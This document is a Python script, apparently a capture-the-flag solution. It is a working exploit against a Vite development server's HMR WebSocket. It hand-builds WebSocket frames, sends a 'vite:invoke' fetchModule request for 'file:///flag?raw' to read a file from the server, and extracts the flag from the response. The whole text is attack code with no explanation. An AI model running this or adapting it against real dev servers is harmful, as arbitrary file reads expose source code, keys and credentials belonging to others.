1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
|
import base64
import json
import os
import re
import socket
import struct
HOST = "127.0.0.1"
PORT = 56974
def recv_exact(sock, size):
data = b""
while len(data) < size:
chunk = sock.recv(size - len(data))
if not chunk:
raise ConnectionError("connection closed")
data += chunk
return data
def make_client_frame(payload):
payload = payload.encode()
mask = os.urandom(4)
masked = bytes(value ^ mask[index % 4] for index, value in enumerate(payload))
if len(payload) < 126:
header = bytes((0x81, 0x80 | len(payload)))
elif len(payload) < 65536:
header = bytes((0x81, 0xFE)) + struct.pack("!H", len(payload))
else:
header = bytes((0x81, 0xFF)) + struct.pack("!Q", len(payload))
return header + mask + masked
def recv_frame(sock, buffer):
while len(buffer) < 2:
buffer += sock.recv(4096)
first, second = buffer[:2]
buffer = buffer[2:]
opcode = first & 0x0F
length = second & 0x7F
if length == 126:
while len(buffer) < 2:
buffer += sock.recv(4096)
length = struct.unpack("!H", buffer[:2])[0]
buffer = buffer[2:]
elif length == 127:
while len(buffer) < 8:
buffer += sock.recv(4096)
length = struct.unpack("!Q", buffer[:8])[0]
buffer = buffer[8:]
masked = second & 0x80
if masked:
while len(buffer) < 4:
buffer += sock.recv(4096)
mask = buffer[:4]
buffer = buffer[4:]
else:
mask = b""
while len(buffer) < length:
buffer += sock.recv(4096)
payload = buffer[:length]
buffer = buffer[length:]
if masked:
payload = bytes(value ^ mask[index % 4] for index, value in enumerate(payload))
return opcode, payload, buffer
key = base64.b64encode(os.urandom(16)).decode()
request = (
f"GET / HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
"Sec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Protocol: vite-hmr\r\n"
"\r\n"
).encode()
payload = json.dumps({
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "send:0",
"name": "fetchModule",
"data": ["file:///flag?raw"],
},
}).encode()
with socket.create_connection((HOST, PORT), timeout=10) as sock:
sock.sendall(request)
buffer = b""
while b"\r\n\r\n" not in buffer:
buffer += sock.recv(4096)
header, buffer = buffer.split(b"\r\n\r\n", 1)
if b"101 Switching Protocols" not in header:
raise RuntimeError(header.decode(errors="replace"))
sock.sendall(make_client_frame(payload.decode()))
while True:
opcode, raw, buffer = recv_frame(sock, buffer)
if opcode != 1:
continue
message = json.loads(raw)
result = message.get("data", {}).get("result", {})
code = result.get("code", "")
match = re.search(r"flag\{[^}]+\}", code)
if match:
print(match.group())
break
|